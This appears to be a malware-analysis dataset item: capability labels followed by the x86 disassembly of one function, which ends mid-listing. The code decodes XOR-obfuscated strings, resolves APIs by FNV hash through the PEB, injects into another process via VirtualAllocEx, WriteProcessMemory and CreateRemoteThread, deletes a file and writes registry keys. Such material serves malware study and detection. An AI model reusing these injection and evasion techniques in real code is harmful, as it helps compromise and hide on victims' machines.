Function at 0x10007cf0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Create process on windows
Create thread
Delete file
Encode data using xor
Get number of processors
Hash data using fnv
Inject thread
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000d2f2
mov eax, dword fs:[0]
push eax
sub esp, 0x3cc
mov eax, dword [0x100130c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x33c], 0
call fcn.10006560
sub esp, 0x18
mov ecx, esi
mov edx, esp
xorps xmm0, xmm0
lea edi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007d50
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.100020e0
call fcn.10007c60
add esp, 0x18
test al, al
jne 0x10007d79
lea eax, [ebp - 0x2e7]
jmp 0x10009206
call fcn.10006560
push 0
mov ch, 0x55
mov byte [ebp - 0x33f], 0
push 0
mov al, 0x3a
mov byte [ebp - 0x344], ch
mov ah, 0x3b
mov byte [ebp - 0x33f], 0
xor al, ch
xor ah, ch
push 0
mov byte [ebp - 0x343], al
mov cl, 0x25
mov byte [ebp - 0x340], ah
mov dl, 0x30
push esi
lea eax, [ebp - 0x343]
xor cl, ch
push eax
xor dl, ch
mov byte [ebp - 0x342], cl
push 0
mov byte [ebp - 0x341], dl
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x10009200
mov eax, 0x7cfe
mov edx, 0x7cb5
mov dword [ebp - 0x2e8], eax
xorps xmm0, xmm0
xor dx, word [ebp - 0x2e8]
mov word [ebp - 0x332], dx
mov edx, 0x7cfe
lea esi, [eax - 0x3f]
mov word [ebp - 0x334], ax
lea edi, [eax - 0x42]
lea eax, [esi - 4]
lea ecx, [esi - 0x19]
xor si, dx
mov word [ebp - 0x330], si
mov esi, edx
mov edx, 0x7cb7
xor cx, si
xor dx, si
mov word [ebp - 0x324], cx
mov word [ebp - 0x32c], dx
lea ecx, [ebp - 0x332]
mov edx, 0x7cad
xor di, si
xor dx, si
mov word [ebp - 0x32e], di
mov word [ebp - 0x32a], dx
mov edx, 0x7cd0
xor dx, si
mov word [ebp - 0x328], dx
mov edx, eax
xor ax, si
xor dx, si
mov word [ebp - 0x322], ax
lea esi, [ecx + 2]
xor eax, eax
mov word [ebp - 0x326], dx
sub esp, 0x18
mov word [ebp - 0x320], ax
mov edx, esp
movups xmmword [edx], xmm0
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10007e97
sub ecx, esi
lea eax, [ebp - 0x332]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.10005870
call fcn.100067d0
add esp, 0x18
mov dword [ebp - 0x2fc], eax
mov dl, 0x29
mov dword [ebp - 0x314], 0xe8e9e329
mov dword [ebp - 0x310], 0x6a07f8e1
xor ecx, ecx
mov dword [ebp - 0x30c], 0x45485d48
mov word [ebp - 0x308], 0x4e46
mov byte [ebp - 0x306], 0
lea eax, [ebp - 0x313]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x10007f0c
mov dl, byte [ebp - 0x314]
jmp 0x10007ef5
sub esp, 0x18
mov byte [ebp - 0x306], 0
mov edx, esp
lea ecx, [ebp - 0x313]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007f35
sub ecx, esi
lea eax, [ebp - 0x313]
push ecx
push eax
mov ecx, edx
call fcn.100020e0
call fcn.10006aa0
movaps xmm0, xmmword [0x1000e4e0]
add esp, 0x18
mov dword [ebp - 0x2f8], eax
xor ecx, ecx
movups xmmword [ebp - 0x330], xmm0
mov word [ebp - 0x320], 0x4b
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x330]
xor byte [ebp + ecx - 0x32f], al
inc ecx
cmp ecx, 0x10
jb 0x10007f80
sub esp, 0x18
mov byte [ebp - 0x31f], 0
mov edx, esp
lea ecx, [ebp - 0x32f]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007fc0
sub ecx, esi
lea eax, [ebp - 0x32f]
push ecx
push eax
mov ecx, edx
call fcn.100020e0
call fcn.10006740
mov dword [ebp - 0x2f4], eax
add esp, 0x18
xor eax, eax
xor ecx, ecx
nop word [eax + eax]
mov esi, dword [ebp + eax*4 - 0x2fc]
test esi, esi
jne 0x10008010
inc ecx
cmp ecx, 3
jae 0x10009200
inc eax
cmp eax, 3
jb 0x10007ff0
jmp 0x10009206
xorps xmm0, xmm0
mov word [ebp - 0x2e8], 0x74
lea ecx, [ebp - 0x2e7]
mov byte [ebp - 0x2e7], 0
movups xmmword [ebp - 0x22c], xmm0
mov dword [ebp - 0x21c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x218], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008047
sub ecx, edx
lea eax, [ebp - 0x2e7]
push ecx
push eax
lea ecx, [ebp - 0x22c]
call fcn.100020e0
push esi
push 0
push 0x1fffff
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x300], eax
test eax, eax
je 0x100091ad
push 0x104
lea eax, [ebp - 0x214]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [ebp - 0x214]
lea ecx, [edi + 1]
nop word [eax + eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x100080b0
mov edx, dword [ebp - 0x218]
sub edi, ecx
mov dword [ebp - 0x338], edx
cmp edi, edx
ja 0x100080ff
cmp edx, 0xf
mov dword [ebp - 0x21c], edi
push edi
lea eax, [ebp - 0x214]
lea esi, [ebp - 0x22c]
cmova esi, dword [ebp - 0x22c]
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + edi], 0
add esp, 0xc
mov esi, dword [ebp - 0x22c]
jmp 0x100081c1
cmp edi, 0x7fffffff
ja 0x10009221
mov ecx, edi
or ecx, 0xf
cmp ecx, 0x7fffffff
jbe 0x1000811f
mov ecx, 0x7fffffff
jmp 0x1000813d
mov esi, edx
mov eax, 0x7fffffff
shr esi, 1
sub eax, esi
cmp edx, eax
jbe 0x10008135
mov ecx, 0x7fffffff
jmp 0x1000813d
lea eax, [edx + esi]
cmp ecx, eax
cmovb ecx, eax
lea eax, [ebp - 0x2e8]
mov dword [ebp - 0x2e8], ecx
push eax
lea eax, [ebp - 0x22c]
push eax
call fcn.10001df0
mov ecx, dword [ebp - 0x2e8]
mov esi, eax
push edi
lea eax, [ebp - 0x214]
mov dword [ebp - 0x21c], edi
push eax
push esi
mov dword [ebp - 0x218], ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x338]
add esp, 0x14
mov byte [esi + edi], 0
cmp eax, 0xf
jbe 0x100081bb
mov edx, dword [ebp - 0x22c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x100081b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100091df
push ecx
push edx
call fcn.1000bff3
add esp, 8
mov dword [ebp - 0x22c], esi
mov cl, 0x27
mov byte [ebp - 0x2e6], 0
mov al, 0x7b
mov byte [ebp - 0x2e8], cl
xor al, cl
mov byte [ebp - 0x2e6], 0
mov byte [ebp - 0x2e7], al
lea ecx, [ebp - 0x22c]
push 0xffffffffffffffff
lea eax, [ebp - 0x2e7]
push eax
call fcn.10009f70
cmp eax, 0xffffffff
je 0x10008291
mov edi, dword [ebp - 0x21c]
mov cl, 0x22
mov al, 0x7e
mov byte [ebp - 0x2e8], cl
xor al, cl
mov byte [ebp - 0x2e6], 0
mov byte [ebp - 0x2e7], al
lea ecx, [ebp - 0x22c]
lea eax, [edi - 1]
mov byte [ebp - 0x2e6], 0
mov dword [ebp - 0x338], eax
lea eax, [ebp - 0x2e7]
push 0xffffffffffffffff
push eax
call fcn.10009f70
mov ecx, eax
mov dword [ebp - 0x2e8], ecx
cmp edi, ecx
jb 0x10009226
mov edx, dword [ebp - 0x338]
mov eax, edi
sub eax, ecx
cmp eax, edx
cmovb edx, eax
cmp dword [ebp - 0x218], 0xf
lea eax, [ebp - 0x22c]
cmova eax, esi
sub edi, edx
add ecx, eax
mov eax, edi
sub eax, dword [ebp - 0x2e8]
inc eax
push eax
lea eax, [ecx + edx]
push eax
push ecx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov dword [ebp - 0x21c], edi
mov dl, 0x3e
mov dword [ebp - 0x2fc], 0x5f55623e
mov dword [ebp - 0x2f8], 0xc0d574e
xor ecx, ecx
mov dword [ebp - 0x2f4], 0x525a104b
mov word [ebp - 0x2f0], 0x52
nop dword [eax]
lea eax, [ebp - 0x2fb]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x100082d7
mov dl, byte [ebp - 0x2fc]
jmp 0x100082c0
sub esp, 0x18
mov byte [ebp - 0x2ef], 0
mov eax, esp
lea ecx, [ebp - 0x2fb]
push ecx
lea ecx, [ebp - 0x22c]
push ecx
push eax
call fcn.10005720
add esp, 0xc
call fcn.10007c60
add esp, 0x18
test al, al
je 0x10008394
mov dl, 0x63
mov dword [ebp - 0x2fc], 0x2083f63
mov dword [ebp - 0x2f8], 0x51500a13
xor ecx, ecx
mov dword [ebp - 0x2f4], 0xf074d16
mov word [ebp - 0x2f0], 0xf
lea eax, [ebp - 0x2fb]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x1000834c
mov dl, byte [ebp - 0x2fc]
jmp 0x10008335
lea eax, [ebp - 0x2fb]
mov byte [ebp - 0x2ef], 0
push eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x3d8]
push eax
call fcn.10005720
add esp, 0xc
mov esi, eax
cmp dword [esi + 0x14], 0xf
mov eax, 1
mov byte [ebp - 4], 1
jbe 0x10008383
mov esi, dword [esi]
mov edx, dword [ebp - 0x320]
mov ecx, dword [ebp - 0x334]
jmp 0x1000848e
lea eax, [ebp - 0x31c]
mov ecx, 0x10013500
push eax
call fcn.1000af20
mov esi, eax
movaps xmm0, xmmword [0x1000e590]
xor ecx, ecx
mov dword [ebp - 4], 2
mov dword [ebp - 0x33c], 2
movups xmmword [ebp - 0x3b8], xmm0
mov dword [ebp - 0x3a8], 0x2b21167e
mov dword [ebp - 0x3a4], 0x7879233a
mov dword [ebp - 0x3a0], 0x262e643f
mov word [ebp - 0x39c], 0x26
nop
mov al, byte [ebp - 0x3b8]
xor byte [ebp + ecx - 0x3b7], al
inc ecx
cmp ecx, 0x1c
jb 0x100083f0
lea ecx, [ebp - 0x3b7]
mov byte [ebp - 0x39b], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008413
sub ecx, edx
lea eax, [ebp - 0x3b7]
push ecx
push eax
mov ecx, esi
call fcn.10003f40
mov dword [ebp - 0x324], 0
lea esi, [ebp - 0x334]
mov dword [ebp - 0x320], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x334], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x334], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x324], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, 0xe
mov edx, dword [ebp - 0x320]
cmp edx, 0xf
mov ecx, dword [ebp - 0x334]
cmova esi, ecx
test al, 4
je 0x100084ea
and eax, 0xfffffffb
mov dword [ebp - 0x2e8], eax
cmp edx, 0xf
jbe 0x100084cf
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100084bf
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000858c
push edx
push ecx
call fcn.1000bff3
mov eax, dword [ebp - 0x2e8]
add esp, 8
mov dword [ebp - 0x324], 0
mov dword [ebp - 0x320], 0xf
mov byte [ebp - 0x334], 0
mov dword [ebp - 4], 1
test al, 2
je 0x10008555
mov ecx, dword [ebp - 0x308]
and eax, 0xfffffffd
mov dword [ebp - 0x2e8], eax
cmp ecx, 0xf
jbe 0x1000853a
mov edx, dword [ebp - 0x31c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000852a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000858c
push ecx
push edx
call fcn.1000bff3
mov eax, dword [ebp - 0x2e8]
add esp, 8
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x308], 0xf
mov byte [ebp - 0x31c], 0
mov dword [ebp - 4], 0
test al, 1
je 0x100085b7
mov ecx, dword [ebp - 0x3c4]
cmp ecx, 0xf
jbe 0x1000859c
mov edx, dword [ebp - 0x3d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10008592
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10008592
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1000bff3
add esp, 8
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x3c4], 0xf
mov byte [ebp - 0x3d8], 0
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100085c0
mov edi, dword [ebp - 0x300]
sub ecx, edx
push 4
push 0x3000
lea eax, [ecx + 1]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub esp, 0x18
mov dword [ebp - 0x33c], eax
mov edx, esp
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
lea eax, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov dword [ebp - 0x300], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008610
sub ecx, dword [ebp - 0x300]
push ecx
push esi
mov ecx, edx
call fcn.100020e0
call fcn.10007c60
add esp, 0x18
test al, al
je 0x100091e5
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008640
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push esi
mov esi, dword [ebp - 0x33c]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100091a6
mov dh, 4
mov dword [ebp - 0x2fc], 0x656b4804
mov dword [ebp - 0x2f8], 0x666d4860
mov dl, 0x3f
mov dword [ebp - 0x2f4], 0x7d766576
xor ecx, ecx
mov word [ebp - 0x2f0], 0x45
mov dword [ebp - 0x314], 0x4d5a543f
mov dword [ebp - 0x310], 0xc535a51
mov dword [ebp - 0x30c], 0x535b110d
mov word [ebp - 0x308], 0x53
nop word [eax + eax]
lea eax, [ebp - 0x313]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x100086d7
mov dl, byte [ebp - 0x314]
jmp 0x100086c0
mov byte [ebp - 0x307], 0
xor ecx, ecx
lea eax, [ebp - 0x2fb]
xor byte [eax + ecx], dh
inc ecx
cmp ecx, 0xc
jae 0x100086f7
mov dh, byte [ebp - 0x2fc]
jmp 0x100086e0
push 0
push 0
push esi
lea eax, [ebp - 0x2fb]
mov byte [ebp - 0x2ef], 0
push eax
lea eax, [ebp - 0x313]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10009197
nop dword [eax]
nop word [eax + eax]
mov byte [ebp - 0x2ec], 0x1a
mov al, 0x49
xor al, byte [ebp - 0x2ec]
mov ah, 0x34
mov byte [ebp - 0x2eb], al
mov cl, 0x5c
mov al, byte [ebp - 0x2ec]
mov ch, 0x71
xor cl, al
mov byte [ebp - 0x2e5], 0
xor ah, al
mov byte [ebp - 0x2ea], cl
xor ch, al
mov byte [ebp - 0x2e8], ah
sub esp, 0x18
mov byte [ebp - 0x2e7], ch
mov dl, 0x4a
mov byte [ebp - 0x2e5], 0
mov dh, 0x7b
xor dl, al
xor dh, al
mov byte [ebp - 0x2e9], dl
lea eax, [ebp - 0x2eb]
mov byte [ebp - 0x2e6], dh
mov ecx, esp
push eax
call fcn.10005c40
call fcn.10007c60
add esp, 0x18
test al, al
jne 0x1000887b
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x338], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x33c], ecx
cmp ecx, edx
je 0x1000884a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x1000884a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
nop dword [eax + eax]
sub ecx, 4
dec edi
mov dword [ebp - 0x300], ecx
mov esi, 0xe201e707
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x1000883d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x10008820
cmp esi, 0xc8bbea6a
je 0x1000884e
mov ecx, dword [ebp - 0x300]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x10008800
mov eax, dword [eax]
jmp 0x100087d0
mov esi, dword [ebp - 0x33c]
mov edx, dword [ebp - 0x338]
push 0x7d0
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x10008740
push 0xb8
lea eax, [ebp - 0x2e4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov byte [ebp - 0x370], 0x1e
mov al, 0x4d
mov byte [ebp - 0x369], 0
xor al, byte [ebp - 0x370]
mov ah, 0x30
mov byte [ebp - 0x36f], al
mov cl, 0x58
mov al, byte [ebp - 0x370]
mov dl, 0x4e
push 1
xor ah, al
mov byte [ebp - 0x369], 0
mov ch, 0x75
mov byte [ebp - 0x36c], ah
mov dh, 0x7f
xor cl, al
xor ch, al
mov byte [ebp - 0x36e], cl
push 0x40
xor dl, al
mov byte [ebp - 0x36b], ch
xor dh, al
mov byte [ebp - 0x36d], dl
push 1
lea eax, [ebp - 0x36f]
mov byte [ebp - 0x36a], dh
push eax
lea ecx, [ebp - 0x2e4]
call fcn.100022a0
cmp dword [ebp - 0x288], 0
mov byte [ebp - 4], 3
jne 0x100089cc
nop word [eax + eax]
mov byte [ebp - 0x378], 0x43
mov al, 0x10
xor al, byte [ebp - 0x378]
mov ah, 0x6d
mov byte [ebp - 0x377], al
mov cl, 5
mov al, byte [ebp - 0x378]
mov dl, 0x13
xor ah, al
mov byte [ebp - 0x371], 0
mov ch, 0x28
mov byte [ebp - 0x374], ah
mov dh, 0x22
mov byte [ebp - 0x371], 0
xor cl, al
xor ch, al
push 0x40
xor dl, al
mov byte [ebp - 0x376], cl
xor dh, al
mov byte [ebp - 0x373], ch
push 1
lea eax, [ebp - 0x377]
mov byte [ebp - 0x375], dl
push eax
lea ecx, [ebp - 0x2e4]
mov byte [ebp - 0x372], dh
call fcn.1000a1a0
cmp dword [ebp - 0x288], 0
je 0x10008920
push 0
push 0x100
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x2e4]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::getline_char___long_long___int64__]
lea ecx, [ebp - 0x2e4]
call fcn.10009e90
cmp dword [ebp - 0x288], 0
je 0x10008920
push 0
push 0x100
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x2e4]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::getline_char___long_long___int64__]
lea ecx, [ebp - 0x2e4]
call fcn.10009e90
mov byte [ebp - 0x380], 0x1f
mov al, 0x4c
xor al, byte [ebp - 0x380]
mov ah, 0x31
mov byte [ebp - 0x37f], al
mov cl, 0x59
mov al, byte [ebp - 0x380]
mov dl, 0x4f
xor ah, al
mov byte [ebp - 0x379], 0
mov ch, 0x74
mov byte [ebp - 0x37c], ah
mov dh, 0x7e
mov byte [ebp - 0x379], 0
xor cl, al
xor dl, al
xor ch, al
mov byte [ebp - 0x37e], cl
xor dh, al
mov byte [ebp - 0x37d], dl
lea eax, [ebp - 0x37f]
mov byte [ebp - 0x37b], ch
push eax
mov byte [ebp - 0x37a], dh
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
lea ecx, [ebp - 0x3c0]
push 0x100060f0
call fcn.10005690
push eax
mov ecx, 0x10013560
call fcn.100060b0
cmp dword [ebp - 0x3bc], 0
je 0x10008a86
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
cmp byte [0x10013524], 0
jne 0x10008aa5
lea ecx, [ebp - 0x2e4]
lea esi, [ebp - 0x2e7]
call fcn.10002c40
jmp 0x100091b3
mov byte [ebp - 0x310], 0xc
mov al, 0x48
xor al, byte [ebp - 0x310]
mov cl, 0x4e
xor cl, byte [ebp - 0x310]
mov ch, 0x7f
mov byte [ebp - 0x30f], al
mov ah, 0x6d
mov byte [ebp - 0x30e], cl
mov dh, ch
mov cl, byte [ebp - 0x310]
sub esp, 0x18
mov byte [ebp - 0x301], 0x7b
xor ah, cl
mov al, byte [ebp - 0x301]
xor ch, cl
xor al, cl
mov byte [ebp - 0x302], 0x63
mov byte [ebp - 0x309], al
mov dl, 0x5c
mov al, byte [ebp - 0x302]
xor dl, cl
xor al, cl
mov byte [ebp - 0x303], 0x7e
mov byte [ebp - 0x308], al
xor dh, cl
mov al, byte [ebp - 0x303]
xor al, cl
mov byte [ebp - 0x2e5], 0x68
mov byte [ebp - 0x307], al
mov al, byte [ebp - 0x2e5]
xor al, cl
mov byte [ebp - 0x30c], ah
mov byte [ebp - 0x306], al
lea eax, [ebp - 0x30f]
mov byte [ebp - 0x30b], ch
mov ecx, esp
mov dword [ebp - 0x300], esp
mov byte [ebp - 0x305], 0
push eax
mov byte [ebp - 0x30d], dl
mov byte [ebp - 0x30a], dh
mov byte [ebp - 0x305], 0
call fcn.10005c40
movaps xmm0, xmmword [0x1000e4d0]
xor ecx, ecx
mov byte [ebp - 4], 4
movups xmmword [ebp - 0x330], xmm0
mov byte [ebp - 0x320], 0
nop word [eax + eax]
mov al, byte [ebp - 0x330]
xor byte [ebp + ecx - 0x32f], al
inc ecx
cmp ecx, 0xf
jb 0x10008b90
sub esp, 0x18
mov byte [ebp - 0x320], 0
lea eax, [ebp - 0x32f]
mov ecx, esp
push eax
call fcn.10005c40
push 0x80000001
mov ecx, 0x10013500
mov byte [ebp - 4], 3
call fcn.1000bae0
test al, al
jne 0x10008bf2
call fcn.10006b30
cmp eax, 0xffffffff
jne 0x10008bf2
lea ecx, [ebp - 0x2e4]
lea esi, [ebp - 0x2e7]
call fcn.10002c40
jmp 0x100091b3
mov ah, 0x38
mov byte [ebp - 0x384], 0
mov al, 0x53
mov byte [ebp - 0x388], ah
mov dl, al
mov byte [ebp - 0x384], 0
sub esp, 0x18
mov cl, 0x5d
xor al, ah
mov dword [ebp - 0x300], esp
xor cl, ah
mov byte [ebp - 0x387], al
xor dl, ah
mov byte [ebp - 0x386], cl
lea eax, [ebp - 0x387]
mov byte [ebp - 0x385], dl
mov ecx, esp
push eax
call fcn.10005c40
mov byte [ebp - 0x350], 0x14
mov al, 0x57
xor al, byte [ebp - 0x350]
mov cl, 0x66
mov byte [ebp - 0x34f], al
mov dl, 0x71
mov al, byte [ebp - 0x350]
mov ah, 0x70
xor cl, al
mov byte [ebp - 0x2e5], 0x67
xor dl, al
mov byte [ebp - 0x34e], cl
xor ah, al
mov byte [ebp - 0x348], 0
mov ch, 0x7d
mov byte [ebp - 0x34c], ah
xor ch, al
mov byte [ebp - 4], 5
mov dh, 0x60
mov byte [ebp - 0x34b], ch
xor dh, al
mov byte [ebp - 0x34d], dl
mov al, byte [ebp - 0x2e5]
sub esp, 0x18
xor al, byte [ebp - 0x350]
mov ecx, esp
mov byte [ebp - 0x349], al
lea eax, [ebp - 0x34f]
mov dword [ebp - 0x33c], esp
push eax
mov byte [ebp - 0x34a], dh
mov byte [ebp - 0x348], 0
call fcn.10005c40
movaps xmm0, xmmword [0x1000e4f0]
xor ecx, ecx
mov byte [ebp - 4], 6
movups xmmword [ebp - 0x330], xmm0
mov byte [ebp - 0x320], 0
nop word [eax + eax]
mov al, byte [ebp - 0x330]
xor byte [ebp + ecx - 0x32f], al
inc ecx
cmp ecx, 0xf
jb 0x10008cf0
sub esp, 0x18
mov byte [ebp - 0x320], 0
lea eax, [ebp - 0x32f]
mov ecx, esp
push eax
call fcn.10005c40
push 0x80000001
mov ecx, 0x10013500
mov byte [ebp - 4], 3
call fcn.1000bc20
mov ah, 0x23
mov byte [ebp - 0x38c], 0
mov al, 0x13
mov byte [ebp - 0x390], ah
sub esp, 0x18
mov byte [ebp - 0x38c], 0
mov cl, 0xd
mov dword [ebp - 0x300], esp
xor al, ah
xor cl, ah
mov dl, 0x12
mov byte [ebp - 0x38f], al
xor dl, ah
mov byte [ebp - 0x38e], cl
lea eax, [ebp - 0x38f]
mov byte [ebp - 0x38d], dl
mov ecx, esp
push eax
call fcn.10005c40
mov byte [ebp - 0x35c], 0x29
mov al, 0x7f
xor al, byte [ebp - 0x35c]
mov cl, 0x4c
mov byte [ebp - 0x35b], al
mov dl, 0x5b
mov al, byte [ebp - 0x35c]
mov ah, 0x5a
xor cl, al
mov byte [ebp - 0x2e5], 0x47
xor dl, al
mov byte [ebp - 0x35a], cl
xor ah, al
mov byte [ebp - 0x354], 0
mov ch, 0x40
mov byte [ebp - 0x358], ah
xor ch, al
mov byte [ebp - 4], 7
mov dh, 0x46
mov byte [ebp - 0x357], ch
xor dh, al
mov byte [ebp - 0x359], dl
mov al, byte [ebp - 0x2e5]
sub esp, 0x18
xor al, byte [ebp - 0x35c]
mov ecx, esp
mov byte [ebp - 0x355], al
lea eax, [ebp - 0x35b]
mov dword [ebp - 0x33c], esp
push eax
mov byte [ebp - 0x356], dh
mov byte [ebp - 0x354], 0
call fcn.10005c40
movaps xmm0, xmmword [0x1000e500]
xor ecx, ecx
mov byte [ebp - 4], 8
movups xmmword [ebp - 0x330], xmm0
mov byte [ebp - 0x320], 0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x330]
xor byte [ebp + ecx - 0x32f], al
inc ecx
cmp ecx, 0xf
jb 0x10008e30
sub esp, 0x18
mov byte [ebp - 0x320], 0
lea eax, [ebp - 0x32f]
mov ecx, esp
push eax
call fcn.10005c40
push 0x80000001
mov ecx, 0x10013500
mov byte [ebp - 4], 3
call fcn.1000bc20
movaps xmm0, xmmword [0x1000e580]
xor ecx, ecx
movups xmmword [ebp - 0x31c], xmm0
mov dword [ebp - 0x30c], 0x33682f2e
mov dword [ebp - 0x308], 0x717179
mov al, byte [ebp - 0x31c]
xor byte [ebp + ecx - 0x31b], al
inc ecx
cmp ecx, 0x16
jb 0x10008e92
sub esp, 0x18
mov byte [ebp - 0x305], 0
lea eax, [ebp - 0x31b]
mov dword [ebp - 0x300], esp
mov ecx, esp
push eax
call fcn.10005c40
mov byte [ebp - 0x368], 0x71
mov al, 0x3d
xor al, byte [ebp - 0x368]
mov ah, 3
mov byte [ebp - 0x367], al
mov dh, ah
mov al, byte [ebp - 0x368]
mov cl, 0x18
xor cl, al
mov byte [ebp - 0x2e5], 8
xor ah, al
mov byte [ebp - 0x366], cl
xor dh, al
mov byte [ebp - 0x364], ah
mov dl, 0x13
mov byte [ebp - 0x360], 0
xor dl, al
mov byte [ebp - 4], 9
mov ch, 0x10
mov byte [ebp - 0x365], dl
xor ch, al
mov byte [ebp - 0x362], dh
mov al, byte [ebp - 0x2e5]
sub esp, 0x18
xor al, byte [ebp - 0x368]
mov byte [ebp - 0x361], al
lea eax, [ebp - 0x367]
mov byte [ebp - 0x363], ch
mov ecx, esp
mov dword [ebp - 0x33c], esp
push eax
mov byte [ebp - 0x360], 0
call fcn.10005c40
movaps xmm0, xmmword [0x1000e4c0]
xor ecx, ecx
mov byte [ebp - 4], 0xa
movups xmmword [ebp - 0x330], xmm0
mov byte [ebp - 0x320], 0
nop dword [eax]
mov al, byte [ebp - 0x330]
xor byte [ebp + ecx - 0x32f], al
inc ecx
cmp ecx, 0xf
jb 0x10008f70
sub esp, 0x18
mov byte [ebp - 0x320], 0
lea eax, [ebp - 0x32f]
mov ecx, esp
push eax
call fcn.10005c40
push 0x80000001
